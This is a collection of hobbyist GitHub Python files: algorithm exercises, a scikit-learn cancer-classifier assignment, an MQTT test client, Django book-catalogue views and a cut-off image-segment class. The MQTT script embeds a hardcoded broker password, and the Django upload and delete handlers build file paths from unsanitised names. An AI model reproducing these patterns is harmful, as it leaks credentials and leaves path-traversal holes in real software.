+{"seq_id":"73876356095","text":"def evaluate(a, b, op):\n    if op == '+':\n        return a + b\n    elif op == '-':\n        return a - b\n    elif op == '*':\n        return a * b\n    else:\n        assert False\n\n\ndef min_max(i, j, m, M, ops):\n    min_val = float('inf')\n    max_val = float('-inf')\n    for k in range(i, j):\n        a = evaluate(M[i][k], M[k + 1][j], ops[k])\n        b = evaluate(m[i][k], M[k + 1][j], ops[k])\n        c = evaluate(M[i][k], m[k + 1][j], ops[k])\n        d = evaluate(m[i][k], m[k + 1][j], ops[k])\n        min_val = min(min_val, a, b, c, d)  \n        max_val = max(max_val, a, b, c, d)\n    return min_val, max_val\n\n\ndef maximum_value(dataset):\n    # write your code here\n    ops = dataset[1::2]\n    digits = [int(x) for x in dataset[0::2]]\n    n = len(digits)\n    # print(ops)\n    # print(digits)\n    m = [[0] * n for _ in range(n)]\n    M = [[0] * n for _ in range(n)]\n    for i in range(n):\n        m[i][i] = digits[i]\n        M[i][i] = digits[i]\n\n    for s in range(1, n):\n        # print()\n        for i in range(n - s):\n            j = i + s\n            # print(i, j)\n            m[i][j], M[i][j] = min_max(i, j, m, M, ops)\n\n    # for row in m:\n    #     print(*row, sep='\\t')\n    # print()\n    # for row in M:\n    #     print(*row, sep='\\t')\n\n    return M[0][n - 1]\n\n\nif __name__ == \"__main__\":\n    # print(maximum_value(\"5-8+7*4-8+9\"))\n    print(maximum_value(input()))\n","repo_name":"sakshamsds/data-structures-and-algorithms","sub_path":"ucsd_specialization/01_Algorithmic_Toolbox/week6_dynamic_programming2/placing_parentheses.py","file_name":"placing_parentheses.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"20286198593","text":"\nimport numpy as np\nimport pandas \nimport matplotlib.pyplot as plt \nfrom sklearn.datasets import load_breast_cancer \n\n#The object returned by `load_breast_cancer()` is a scikit-learn Bunch object, which is similar to a dictionary. \ncancer = load_breast_cancer() \n#Print the cancer keys \nprint(cancer.keys()) \n#Answer: ['target_names', 'data', 'target', 'DESCR', 'feature_names'] \nprint(cancer.DESCR) \n# Print the data set description \n\n####################### QUESTION 0 \n######################################################################### \ndef answer_zero(): \n    return len(cancer['feature_names']) \n\nprint(answer_zero())\n\n####################### QUESTION 1 \n######################################################################### \n\ndef answer_one(): \n    \"\"\"converts the sklearn 'cancer' bunch\n    Returns:\n    pandas.DataFrame: cancer data\n    \"\"\" \n    data = np.c_[cancer.data, cancer.target] \n    columns = np.append(cancer.feature_names, [\"target\"]) \n    return pandas.DataFrame(data, columns=columns) \n\nframe = answer_one() \nprint(frame.shape)\nprint(frame.tail(3))\n#Answer: (569, 31) \nprint(frame.describe())\n\n\n####################### QUESTION 2 \n######################################################################### \ndef answer_two(): \n    \"\"\"calculates number of malignent and benign\n    Returns:\n    pandas.Series: counts of each\n    \"\"\" \n    cancerdf = answer_one() \n    counts = cancerdf.target.value_counts(ascending=True) \n\n    #value_counts is a panda_Series function that returns an object containing \n    #counts of unique values \n    #ascending means that first value is the number of zeros (malignant) and \n    #second is the number of ones (benign) \n    counts.index = \"malignant benign\".split() \n    #splits the two values in 'counts' into two indexed categories. \n    return counts \noutput = answer_two() \nprint(output.malignant)\nprint (output.benign)\n\n#Answer: 212, 357 \n\n####################### QUESTION 3 \n######################################################################### \n\ndef answer_three(): \n    \"\"\"splits the data into data and labels (i.e. independent and dependent \n    variables)\n    Returns: \n    (pandas.DataFrame, pandas.Series): data, labels\n    \"\"\" \n    cancerdf = answer_one() \n    X = cancerdf[cancerdf.columns[:-1]] \n    # X is all of cancer data but the last two columns. \n    y = cancerdf.target \n    # target is the label for the last column \n    return X, y \nx, y = answer_three() \nprint(x.shape)\n#Answer: (569, 30) \nprint(y.shape)\n#Answer: (569,) \n\n####################### QUESTION 4 \n######################################################################### \n\n#from sklearn.model_selection import train_test_split \nfrom sklearn.cross_validation import train_test_split\ndef answer_four(): \n   \"\"\"splits data into training and testing sets\n   Returns:\n   tuple(pandas.DataFrame): x_train, y_train, x_test, y_test\n   \"\"\" \n   X, y = answer_three() \n   return train_test_split(X, y, train_size=426, test_size=143, random_state=0) \n\nx_train, x_test, y_train, y_test = answer_four() \n\n####################### QUESTION 5 \n######################################################################### \n\nfrom sklearn.neighbors import KNeighborsClassifier \n\ndef answer_five(): \n    \"\"\"Fits a KNN-1 model to the data\n    Returns:\n    sklearn.neighbors.KNeighborsClassifier: trained data\n    \"\"\" \n    X_train, X_test, y_train, y_test = answer_four() \n    model = KNeighborsClassifier(n_neighbors=3) \n    model.fit(X_train, y_train) \n    return model \n\nknn = answer_five() \nprint(knn)\n\n####################### QUESTION 6 \n\n######################################################################### \n#Predict the classifier of the test data using the mean value of each feature. \n# Hint: You can use `cancerdf.mean()[:-1].values.reshape(1, -1)` which gets the \n#mean value for each feature, \n# ignores the target column, and reshapes the data from 1 dimension to 2 \n#(necessary for the precict \n# method of KNeighborsClassifier). \n\ndef answer_six(): \n    \"\"\"Predicts the class labels for the means of all features\n    Returns:\n    numpy.array: prediction (0 or 1)\n    \"\"\" \n    cancerdf = answer_one() \n    means = cancerdf.mean()[:-1].values.reshape(1, -1) \n\n    #New shape as (1,-1). i.e, row is 1, column unknown. we get result new shape \n    #as (1, 30) \n    #print means \n    \n    model = answer_five() \n    return model.predict(means) \n\npredict_mean = answer_six() \nprint(predict_mean) \n\n#Answer: [ 1.] \n\n####################### QUESTION 7 \n######################################################################### \n\ndef answer_seven(): \n    \"\"\"predicts likelihood of cancer for test set\n    Returns:\n    numpy.array: vector of predictions\n    \"\"\" \n    X_train, X_test, y_train, y_test = answer_four() \n    knn = answer_five() \n    return knn.predict(X_test) \n\npredictions = answer_seven() \nprint(predictions)\nprint(\"no cancer: {0}\".format(len(predictions[predictions==0]))) \nprint(\"cancer: {0}\".format(len(predictions[predictions==1]))) \n# no cancer: 51 \n# cancer: 92 \n\n####################### QUESTION 8 \n######################################################################### \n\ndef answer_eight(): \n    \"\"\"calculates the mean accuracy of the KNN model\n    Returns:\n    float: mean accuracy of the model predicting cancer\n    \"\"\" \n    X_train, X_test, y_train, y_test = answer_four() \n    knn = answer_five() \n    return knn.score(X_test, y_test) \n\nprint(answer_eight())\n\n#Answer: 0.916083916084 \n\n####################### PLOT RESULTS \n######################################################################### \n# Try using the plotting function below to visualize the differet predicition \n#scores between training \n# and test sets, as well as malignant and benign cells \n\ndef accuracy_plot(): \n    import matplotlib.pyplot as plt \n    #matplotlib notebook \n    X_train, X_test, y_train, y_test = answer_four() \n    # Find the training and testing accuracies by target value (i.e. malignant, \n    #benign) \n    mal_train_X = X_train[y_train==0] \n    mal_train_y = y_train[y_train==0] \n    ben_train_X = X_train[y_train==1] \n    ben_train_y = y_train[y_train==1] \n\n    mal_test_X = X_test[y_test==0] \n    mal_test_y = y_test[y_test==0] \n    ben_test_X = X_test[y_test==1] \n    ben_test_y = y_test[y_test==1] \n    #return  mal_train_X,  mal_train_y, ben_train_X, ben_train_y, mal_test_X, mal_test_y, mal_test_y, ben_test_X ,  ben_test_y\n    knn = answer_five() \n\n    scores = [knn.score(mal_train_X, mal_train_y), knn.score(ben_train_X, ben_train_y), knn.score(mal_test_X, mal_test_y), knn.score(ben_test_X, ben_test_y )] \n\n    plt.figure() \n    # Plot the scores as a bar chart \n    bars = plt.bar(np.arange(4), scores, color=['#4c72b0','#4c72b0','#55a868', '#55a868']) \n\n    # directly label the score onto the bars \n\n    for bar in bars: \n        height = bar.get_height() \n        plt.gca().text(bar.get_x() + bar.get_width()/2, height*.90, '{0:.{1}f}'. format(height, 2), ha='center', color='w', fontsize=11) \n\n    # remove all the ticks (both axes), and tick labels on the Y axis \n\n    plt.tick_params(top='off', bottom='off', left='off', right='off', labelleft= 'off', labelbottom='on') \n\n    # remove the frame of the chart \n\n    for spine in plt.gca().spines.values(): \n        spine.set_visible(False) \n\n    plt.xticks([0,1,2,3], ['Malignant\\nTraining', 'Benign\\nTraining', 'Malignant\\ nTest', 'Benign\\nTest'], alpha=0.8); \n\nplt.title('Training and Test Accuracies for Malignant and Benign Cells', \nalpha=0.8) \nplt.show() \n\naccuracy_plot() \n\n\n\n\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn.datasets import load_breast_cancer \nfrom sklearn.cross_validation import train_test_split\ncancer = load_breast_cancer() \ndata = np.c_[cancer.data, cancer.target] \ncolumns = np.append(cancer.feature_names, [\"target\"]) \ncancerdf = pd.DataFrame(data, columns=columns) \nX = cancerdf[cancerdf.columns[:-1]] \ny = cancerdf.target \nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size=426, test_size=143, random_state=0)\n\n\nfrom sklearn.neighbors import KNeighborsClassifier \nmodel = KNeighborsClassifier(n_neighbors=24) \nmodel.fit(X_train, y_train) \nmodel.predict(X_test) \nprint(model.score(X_test, y_test))\n\n\nfrom sklearn.neighbors.nearest_centroid import NearestCentroid\nclf = NearestCentroid()\nclf.fit(X_train, y_train)\nres = clf.predict(X_test)\nprint(clf.predict(X_test))\nprint(clf.score(X_test,y_test))\nprint(\"Number of mislabeled points out of a total %d points : %d\" % (X_test.shape[0],(y_test != res).sum()))\n\n\nfrom sklearn.cluster import KMeans\nkmeans = KMeans(n_clusters=2, random_state=0).fit(X_train)\nkmeans.labels_\nkmeans.predict(X_test)\nres = kmeans.predict(X_test)\nkmeans.cluster_centers_\n#print(kmeans.score(res,y_test))\nprint(res)\nprint(\"Number of mislabeled points out of a total %d points : %d\" % (X_test.shape[0],(y_test != res).sum()))\n#plt.scatter(X_train, c=res, s=40, cmap='viridis')\n\n\nfrom sklearn.naive_bayes import GaussianNB\ngnb = GaussianNB()\nmodel_gnb = gnb.fit(X_train, y_train)\ny_pred = model_gnb.predict(X_test)\nprint(\"Number of mislabeled points out of a total %d points : %d\" % (X_test.shape[0],(y_test != y_pred).sum()))\n\n\nfrom sklearn.svm import SVR, SVC\nSVC_model = SVC(kernel = 'rbf', C = 10, gamma = 10)\nSVC_model = SVC_model.fit(X_train, y_train)\ny_pred = SVC_model.predict(X_test)\nprint(SVC_model.score(X_test,y_test))\nprint(\"Number of mislabeled points out of a total %d points : %d\" % (X_test.shape[0],(y_test != y_pred).sum()))\n\n\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import confusion_matrix\ndt = DecisionTreeClassifier(max_depth=6).fit(X_train, y_train)\ntree_predicted = dt.predict(X_test)\nconfusion = confusion_matrix(y_test, tree_predicted)\nprint(dt.score(X_test,y_test))\nprint(\"Number of mislabeled points out of a total %d points : %d\" % (X_test.shape[0],(y_test != tree_predicted).sum()))\n\n\nfrom sklearn.linear_model import LogisticRegression\nlr = LogisticRegression()\nlr = lr.fit(X_train, y_train)\nlr_predicted = lr.predict(X_test)\nconfusion = confusion_matrix(y_test, lr_predicted)\nprint(lr.score(X_test,y_test))\nprint(\"Number of mislabeled points out of a total %d points : %d\" % (X_test.shape[0],(y_test != lr_predicted).sum()))\n\n\nfrom sklearn.linear_model import Ridge\nfrom sklearn.preprocessing import MinMaxScaler\nscaler = MinMaxScaler()\nX_train_scaled = scaler.fit_transform(X_train)\nX_test_scaled = scaler.transform(X_test)\nlinridge = Ridge(alpha=20.0)\nlinridge = linridge.fit(X_train_scaled, y_train)\nlinridge_predicted = linridge.predict(X_test)\n#confusion = confusion_matrix(y_test, linridge_predicted)\nprint(linridge.score(X_test,y_test))\nprint(\"Number of mislabeled points out of a total %d points : %d\" % (X_test.shape[0],(y_test != linridge_predicted).sum()))\n\n\nfrom sklearn.linear_model import Lasso\nfrom sklearn.preprocessing import MinMaxScaler\nscaler = MinMaxScaler()\nX_train_scaled = scaler.fit_transform(X_train)\nX_test_scaled = scaler.transform(X_test)\nlinlasso = Lasso(alpha=2.0, max_iter = 10000).fit(X_train_scaled, y_train)\nprint(linlasso.score(X_test_scaled, y_test))\n\n\nfrom sklearn.linear_model import LinearRegression\nlinreg = LinearRegression()\nlinreg = linreg.fit(X_train, y_train)\nlinreg_predicted = linreg.predict(X_test)\n#confusion = confusion_matrix(y_test, linreg_predicted)\nprint(linreg.score(X_test,y_test))\n\n\n\nfrom sklearn.ensemble import RandomForestClassifier\nclf = RandomForestClassifier()\nclf = clf.fit(X_train, y_train)\nclf_predicted = clf.predict(X_test)\n#confusion = confusion_matrix(y_test, clf_predicted)\nprint(clf.score(X_test,y_test))\nprint(\"Number of mislabeled points out of a total %d points : %d\" % (X_test.shape[0],(y_test != clf_predicted).sum()))\n\n\nfrom sklearn.ensemble import GradientBoostingClassifier\nclf = GradientBoostingClassifier()\nclf = clf.fit(X_train, y_train)\nclf_predicted = clf.predict(X_test)\n#confusion = confusion_matrix(y_test, clf_predicted)\nprint(clf.score(X_test,y_test))\nprint(\"Number of mislabeled points out of a total %d points : %d\" % (X_test.shape[0],(y_test != clf_predicted).sum()))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#import scipy.stats as stats\n#import statsmodels.api as sm\n#glm_reg = sm.GLM(y_train, X_train, family=sm.families.Binomial())\n#glm_model = glm_reg.fit()\n#y_pred = glm_model.predict(X_test)\n#print(glm_model.score(X_test,y_test))\n#print(\"Number of mislabeled points out of a total %d points : %d\" % (X_test.shape[0],(y_test != clf_predicted).sum()))\n\n\n\nfrom sklearn.neural_network import  MLPRegressor, MLPClassifier\nMLP_model = MLPClassifier(solver='lbfgs', alpha=1e-5, hidden_layer_sizes=(50, 50, 50), random_state=1)\nMLP_model.fit(X_train, y_train)\ny_pred = MLP_model.predict(X_test)\nprint(MLP_model.score(X_test,y_test))\nprint(\"Number of mislabeled points out of a total %d points : %d\" % (X_test.shape[0],(y_test != y_pred).sum()))\n\n\n'''\nfrom sklearn.mixture import GaussianMixture\ngmm = GaussianMixture(n_components=2)\ngmm.fit(X_train)\nprint(gmm.means_)\nprint(gmm.covariances_)\nX, Y = np.meshgrid(np.linspace(-4, 4), np.linspace(-4,4))\nXX = np.array([X.ravel(), Y.ravel()]).T\nZ = gmm.score_samples(XX)\nZ = Z.reshape((50,50))\nplt.figure()\nplt.contour(X, Y, Z)\nplt.scatter(X_train[:, 0], X_train[:, 1])\nplt.show()\n\nhttps://github.com/jakevdp/ESAC-stats-2014/blob/master/notebooks/05.3-Density-GMM.ipynb\n\n\n\nfrom sklearn.mixture import GMM\nfrom scipy import stats\nclf = GMM(4, n_iter=500, random_state=3)\nclf = clf.fit(X)\nxpdf = np.linspace(0, 1, 569).reshape(1, -1)\ndensity = np.exp(clf.score(xpdf))\nplt.hist(X, 80, normed=True, alpha=0.5)\nplt.plot(xpdf, density, '-r')\nplt.xlim(-1, 1);\n\n\nhttps://jakevdp.github.io/PythonDataScienceHandbook/05.12-gaussian-mixtures.html\n'''\n\n# Generate some data\nfrom sklearn.datasets.samples_generator import make_blobs\nX, y = make_blobs(n_samples=400, centers=4, cluster_std=0.60, random_state=0)\nprint(X.shape)\nprint(y.shape)\nprint(X[:3,:])\nprint(\"+++++++\")\nprint(X[len(X)-3:,:])\nX = X[:, ::-1] # flip axes for better plotting\nprint(X.shape)\nprint(X[:3,:])\nprint(\"+++++++\")\nprint(X[len(X)-3:,:])\n# Plot the data with K Means Labels\nfrom sklearn.cluster import KMeans\nkmeans = KMeans(4, random_state=0)\nlabels = kmeans.fit(X).predict(X)\nplt.scatter(X[:, 0], X[:, 1], c=labels, s=40, cmap='viridis')\nplt.show()\n#plot\nfrom sklearn.cluster import KMeans\nfrom scipy.spatial.distance import cdist\n\ndef plot_kmeans(kmeans, X, n_clusters=4, rseed=0, ax=None):\n    labels = kmeans.fit_predict(X)\n\n    # plot the input data\n    ax = ax or plt.gca()\n    ax.axis('equal')\n    ax.scatter(X[:, 0], X[:, 1], c=labels, s=40, cmap='viridis', zorder=2)\n\n    # plot the representation of the KMeans model\n    centers = kmeans.cluster_centers_\n    radii = [cdist(X[labels == i], [center]).max()\n             for i, center in enumerate(centers)]\n    for c, r in zip(centers, radii):\n        ax.add_patch(plt.Circle(c, r, fc='#CCCCCC', lw=3, alpha=0.5, zorder=1))\n\n\n\nkmeans = KMeans(n_clusters=4, random_state=0)\nplot_kmeans(kmeans, X)\n\nrng = np.random.RandomState(13)\nX_stretched = np.dot(X, rng.randn(2, 2))\n\nkmeans = KMeans(n_clusters=4, random_state=0)\nplot_kmeans(kmeans, X_stretched)\n\nfrom sklearn.mixture import GMM\ngmm = GMM(n_components=4).fit(X)\nlabels = gmm.predict(X)\nplt.scatter(X[:, 0], X[:, 1], c=labels, s=40, cmap='viridis');\n\nprobs = gmm.predict_proba(X)\nprint(probs[:5].round(3))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"kisomo/AML","sub_path":"misce/assignment1.py","file_name":"assignment1.py","file_ext":"py","file_size_in_byte":15419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"70045013696","text":"# 06 - 05\r\n# 문자열 배열을 받아 애너그램 단위로 그룹핑해라\r\nimport collections\r\n\r\n# 정렬하여 딕셔너리에 추가\r\nclass Solution1():\r\n    def group_anagrams(self, strs: list[str]) -> list[list[str]]:\r\n        anagrams = collections.defaultdict(list)\r\n\r\n        for word in strs:\r\n            # 정렬하여 딕셔너리에 추가\r\n            anagrams[''.join(sorted(word))].append(word)\r\n\r\n        return anagrams.values()\r\n\r\nsol1 = Solution1()\r\ninput = [\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"]\r\nprint(sol1.group_anagrams(input))\r\n","repo_name":"l3right0wl/python_algorithm","sub_path":"GroupAnagrams.py","file_name":"GroupAnagrams.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"12495377724","text":"''' author: viswas\n    date : 06-08-2018\n    '''\n\ndef paying_debt_off_in_a_year(initial_balance, annual_interest_rate):\n    '''\n    operation\n    '''\n    epsilon_val = 0.03\n    upper_bound = initial_balance*((1+annual_interest_rate/12.0)**12)/12.0\n    mfp_money = 0\n    lower_bound = initial_balance/12.0\n    # print(lower_bound,upper_bound)\n    mir_rate = annual_interest_rate/12.0\n    while True:\n        # print(mfp)\n        ubm = initial_balance\n        mfp_money = (lower_bound+upper_bound)/2.0\n        # mfp = int(mfp*100)/100.0\n        for _ in range(12):\n            mub = ubm - mfp_money\n            ubm = mub + mir_rate*mub\n        if ubm > epsilon_val:\n            lower_bound = mfp_money\n        elif ubm < -epsilon_val:\n            upper_bound = mfp_money\n        else:\n            break\n    # mfp = int(mfp*100)/100.0\n    return \"Lowest Payment: \"+str(round(mfp_money, 2))\n\ndef main():\n    '''\n    main functiion\n    '''\n    data = input()\n    # data = \"4773 0.2\"\n    data = data.split(' ')\n    data = list(map(float, data))\n    print(paying_debt_off_in_a_year(data[0], data[1]))\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"viswasvarmaK/cspp1","sub_path":"cspp1_practise/m7/Functions - Assignment-3/assignment3.py","file_name":"assignment3.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"71663865216","text":"import paho.mqtt.client as mqtt\nimport subprocess\nimport datetime\nimport time\n\n# Broker data\nbroker_port = 1883\ntimeout_reconnect = 60\nbroker_topic = \"#\"  #All topics have to be read\n\n# Topic to send payload\ntopic = \"temp/DHT11data\"\n\ndef on_connect(client, userdata, flags, rc):\n    #print(\"Connect with result code: \" + str(rc))\n    if int(str(rc)) == 0:\n        print(\"Conexion establecida\")\n    else:\n        print(\"Error result code: \" + str(rc))\n    #client.subscribe(broker_topic)\n\ndef on_message(client, userdata, msg):\n    #print \"Message topic: \" + msg.topic + \", payload: \" + str(msg.payload)\n    #if msg.topic == topic:\n    if str(msg.payload):\n        print(\"Message on: \" + str(datetime.datetime.now()) + \" - topic: \" + msg.topic + \", payload: \" + str(msg.payload))\n\ndef on_publish(mosq, obj, mid):\n    #print(\"Publish mid: \" + str(mid))\n    pass\n\ndef on_subscribed(mosq, obj, mid, granted_qos):\n    print(\"Subscribed mid: \" + str(mid) + \", qos: \" + str(granted_qos))\n\ndef on_log(mosq, obj, mid, string):\n    #print(\"Log: \" + str(string))\n    pass\n\nclient = mqtt.Client()\n\nclient.on_connect = on_connect\nclient.on_message = on_message\nclient.on_publish = on_publish\nclient.on_subscribed = on_subscribed\nclient.on_log = on_log\nclient.username_pw_set(\"mqtt_broker_local\", \"hhuh9CS26Lr4yJc4\")\n\nclient.connect(\"192.168.0.109\", 1883, 60)\nclient.subscribe('test', 0)\n\nprint(\"Cliente conectado \" + str(datetime.datetime.now()))\nprint(\"\")\n\nclient.loop_start()\n\nwhile True:\n    try:\n        client.publish(topic, \"Hello world\", qos=0, retain=False)\n        time.sleep(10)\n\n    except KeyboardInterrupt:\n            break\n\nclient.disconnect()\nprint(\"Desconectado\")","repo_name":"CloseChoice/HomeAutomationESP","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"1231502897","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\n# Filename      : views.py\n#\n# Author        : Vauke\n# Create        : 2018-06-24 21:16:50\n# Last Modified : 2018-06-27 01:10:52\n\nfrom django.shortcuts import render, render_to_response\nfrom django.http import HttpResponse\nimport json\nimport os\nimport re\nfrom . import settings\n\nflag = False\nuploads = settings.STATICFILES_DIRS[-1][-1]\nb_id = -1\n\ndef read_json():\n    with open('/media/Program/Python_Projects/test/gcxj/bookshow/bookshow/data.json', 'r+') as r:\n        rst = r.read()\n    if len(rst):\n        book_list = json.loads(rst)\n    else:\n        book_list = []\n    return book_list\n\ndef write_json(book_list):\n    rst = json.dumps(book_list)\n    with open('/media/Program/Python_Projects/test/gcxj/bookshow/bookshow/data.json', 'w+') as w:\n        w.write(rst)\n\ndef write_pic(pic):\n    # 获取要上传到的路径\n    global uploads\n\n    # 如果路径不存在则新建\n    if not os.path.isdir(uploads):\n        os.mkdir(uploads)\n    else:\n        filename = '%s/%s'%(uploads, pic.name)\n\n    # 写入文件, 必须使用chunks(), 因为文件上传采用块上传\n    with open(filename, 'wb+') as wb:\n        for chunk in pic.chunks():\n            wb.write(chunk)\n\ndef index(request):\n    context = {}\n    context['book_list'] = read_json()\n    return render(request, 'index.html', context)\n\ndef rating_sort(request):\n    context = {}\n    global flag\n    if flag:\n        flag = False\n    else:\n        flag = True\n    book_list = read_json()\n    book_list = sorted(book_list, key = lambda x:x['rating'], reverse = flag)\n    context['book_list'] = book_list\n    return render(request, 'index.html', context)\n\ndef del_book(request):\n    context = {}\n    book_list = read_json()\n    book_id = request.GET['book_id']\n    #print('type----', type(id))\n\n    global uploads\n\n    for i in book_list:\n        if i['id'] == eval(book_id):\n            book_list.remove(i)\n            filename = '%s/%s'%(uploads, i['pic'])\n            #print('---filename', filename)\n            # 如果不是目录且存在时, 删除对应文件\n            if not os.path.isdir(filename):\n                if os.path.exists(filename):\n                    os.remove(filename)\n\n    write_json(book_list)\n\n    #filename = '%s/%s'%(uploads, pic.name)\n    context['book_list'] = book_list\n    return render(request, 'index.html', context)\n\ndef cate(request):\n    context = {}\n    condition = request.GET['condition']\n    book_list = read_json()\n    condition_list = []\n    for i in book_list:\n        if i['cate'] == condition:\n            condition_list.append(i)\n    context['condition_list'] = condition_list\n    return render(request, 'category.html', context)\n\ndef add_book(request):\n    return render(request, 'add_book.html')\n\ndef add_done(request):\n    context = {}\n    book_list = read_json()\n    book = {}\n    name = ''\n\n    # 使用request.FILES.get()来获取上传的文件\n    pic = request.FILES.get('pic')\n    #pic = request.POST['pic']\n    title = request.POST['title']\n    author = request.POST['author']\n    rating = request.POST['rating']\n    info = request.POST['info']\n    cate = request.POST['cate']\n\n    if pic:\n        write_pic(pic)\n        name = pic.name\n#    if not os.path.isdir(uploads):\n#        os.mkdir(uploads)\n#    else:\n#        #print('---------')\n#        filename = '%s/%s'%(uploads, pic.name)\n#    with open(filename, 'wb+') as wb:\n#        for chunk in pic.chunks():\n#            wb.write(chunk)\n#        \n#    #print(uploads)\n\n    if not rating.isdigit():\n        rating = '6.6'\n\n    if len(book_list):\n        book_id = book_list[-1]['id'] + 1\n    else:\n        book_id = 1\n\n    book['id'] = book_id\n    book['pic'] = name\n    book['title'] = title\n    book['rating'] = eval(rating)\n    book['author'] = author\n    book['info'] = info\n    book['cate'] = cate\n    book_list.append(book)\n\n    #print('---book', book)\n    write_json(book_list)\n\n    context['book_list'] = book_list\n    return render(request, 'index.html', context)\n\ndef edit_book(request):\n    global b_id\n\n    b_id = request.GET['book_id']\n    return render(request, 'edit_book.html')\n\ndef edit_done(request):\n    context = {}\n    book_list = read_json()\n    title = request.POST['title']\n    author = request.POST['author']\n    info = request.POST['info']\n\n    global b_id\n    #print('---b_id', b_id)\n\n    if b_id:\n        for i in book_list:\n            if i['id'] == eval(b_id):\n                i['title'] = title\n                i['author'] = author\n                i['info'] = info\n                # print('---i', i)\n                write_json(book_list)\n    context['book_list'] = book_list\n    return render(request, 'index.html', context)\n\ndef search_book(request):\n    context = {}\n    title = request.POST['title']\n    #print('---title', type(title))\n    book_list = read_json()\n    search_rst = []\n\n    for i in book_list:\n        info = re.findall(r'.*?'+'%s.*?'%title, i['title'])\n        #print(info)\n        #print('.*?'+title+'.*?')\n        #if i['title'] == title:\n        if len(info):\n            search_rst.append(i)\n\n    context['search_rst'] = search_rst\n    return render(request, 'search.html', context)\n","repo_name":"Vauke/SpiderManBookShow","sub_path":"bookshow/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"23416333707","text":"\nfrom typing import Optional, Set, Tuple, Any\n\nimport numpy as np\n\nfrom pygmh.model.identifier import is_valid_identifier\nfrom pygmh.model.meta_data import MetaData\nfrom pygmh.model.misc import Color, Coordinates3\n\n\nclass ImageSegment:\n    \"\"\"Defines a segment of the image.\n\n    Args:\n        image (Image): Instance of the image, the segment belongs to.\n        identifier (str): A string-identifier for the segment. Has to be unique within the image instance.\n        mask (Optional[np.ndarray]): Boolean mask, defining the segmented area within the image.\n        color (Optional[Color]): Default color to be used for rendering.\n    \"\"\"\n\n    def __init__(\n        self,\n        image,  # type: Image\n        identifier: str,\n        *,\n        mask: Optional[np.ndarray] = None,\n        color: Optional[Color] = None,\n    ):\n        from pygmh.model import Image\n\n        assert isinstance(image, Image)\n\n        self._image = image\n        self._identifier = None\n        self._mask = None\n        self._color = None\n        self._meta_data = MetaData()\n\n        self._order_index = max([-1] + [\n            seg._order_index\n            for seg in image.get_segments()\n        ]) + 1\n\n        self.set_identifier(identifier)\n        self.set_color(color)\n\n        if mask is not None:\n            self.set_mask(mask)\n\n    def get_identifier(self) -> str:\n        \"\"\"Gets the identifier of the segment.\"\"\"\n\n        return self._identifier\n\n    def set_identifier(self, identifier: str) -> None:\n        \"\"\"Sets the identifier of the segment.\"\"\"\n\n        assert is_valid_identifier(identifier), \"Invalid segment identifier: \" + identifier\n        assert not self._image.has_segment(identifier),\\\n            \"There is already a segment attached to the image with the given identifier: \" + identifier\n\n        self._identifier = identifier\n\n    def get_meta_data(self) -> MetaData:\n        \"\"\"Gets the meta-data container of the segment.\"\"\"\n\n        return self._meta_data\n\n    def get_mask(self) -> Optional[np.ndarray]:\n        \"\"\"Gets the boolean mask of the segment.\"\"\"\n\n        return self._mask\n\n    def set_mask(self, mask: Optional[np.ndarray]) -> None:\n\n        if mask is not None:\n\n            assert isinstance(mask, np.ndarray), \"Given argument is not an np.ndarray\"\n            assert np.issubdtype(mask.dtype, np.bool_), \"Mask has to be boolean. Given: \" + str(mask.dtype)\n            assert mask.shape == self._image.get_image_data().shape,\\\n                \"Mask is not the same shape as the image volume. Required: {}, given: {}\".format(\n                    str(self._image.get_image_data().shape), str(mask.shape)\n                )\n\n        self._mask = mask\n\n        if self._mask is not None:\n\n            # prevent after-the-fact modification of the mask\n            self._mask.flags.writeable = False\n\n    def is_empty(self) -> bool:\n\n        return True not in self.get_mask()\n\n    def get_color(self) -> Optional[Color]:\n        \"\"\"Gets the default segment color as RGB tuple.\"\"\"\n\n        return self._color\n\n    def set_color(self, color: Optional[Color]) -> None:\n        \"\"\"Sets the default segment color.\"\"\"\n\n        assert color is None or (len(color) == 3 and all(0 <= component < 256 for component in color))\n\n        self._color = color\n\n    def get_segmented_image_data(self,\n                                 inner_substitution_value: Any = None,\n                                 outer_substitution_value: Any = np.nan) -> np.ndarray:\n        \"\"\"Gets the raw image data with substituted values for voxels inside/outside the segment.\n\n        Note:\n            Passing *None* as substitution value results in no substitution taking for that region.\n\n        Args:\n            inner_substitution_value (Any): Value to substitute into for all voxels within the segment.\n            outer_substitution_value (Any): Value to substitute into for all voxels not within the segment.\n\n        Returns:\n            np.array: Image data with substituted voxel values.\n        \"\"\"\n\n        if self._image.get_image_data() is None:\n            raise Exception()\n\n        if self.get_mask() is None:\n            raise Exception()\n\n        data = np.copy(self._image.get_image_data())\n        mask = self.get_mask()\n\n        if inner_substitution_value is not None:\n            data[mask] = inner_substitution_value\n\n        if outer_substitution_value is not None:\n            data[~mask] = outer_substitution_value\n\n        return data\n\n    def get_bounding_box(self) -> Tuple[Coordinates3, Coordinates3]:\n        \"\"\"Gets the tuples of indices that define a diagonal vector which further defines the bounding 